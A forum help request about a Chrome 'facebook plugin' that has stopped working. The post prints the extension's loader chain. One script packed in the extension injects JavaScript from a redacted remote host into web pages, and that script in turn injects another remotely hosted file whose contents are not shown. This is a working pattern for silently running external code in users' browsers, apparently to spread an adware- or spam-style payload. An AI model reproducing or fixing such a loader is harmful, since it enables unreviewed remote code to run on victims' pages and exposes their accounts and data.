Problem with plugins..chrome plugins not working

peteisneat09

Regular Member
Joined
Nov 29, 2010
Messages
289
Reaction score
50
I have a chrome facebook plugin script and up until last night it was working perfectly. Now after installing the plugin it refuses to run the code on chrome. all the domains are running though

here are the components

go.js (packed in the crx file)

Code:
loadScript_YOU();
function loadScript_YOU() {
	if ('https:' == document.location.protocol) return false;
	var s = document.createElement('script');
	s.setAttribute("type","text/javascript");
	s.setAttribute("src", "http://xxxxx.com/g.js");
	var head=document.getElementsByTagName("head")[0];
	if( head==null) return false;
	head.appendChild(s);
	return true;
}

g.js

Code:
function addScript() {
	var s = document.createElement('script');
	s.setAttribute("type", "text/javascript");
	s.setAttribute("src", "http://xxxxxxxx.com/w.js");
	var a = document.getElementsByTagName('script')[0];
	if (a == null) return false;
	a.appendChild(s);
	return true
}
addScript();

w.js

Code:
some javascript

so as of last night, w.js isn't executing
 
Back
Top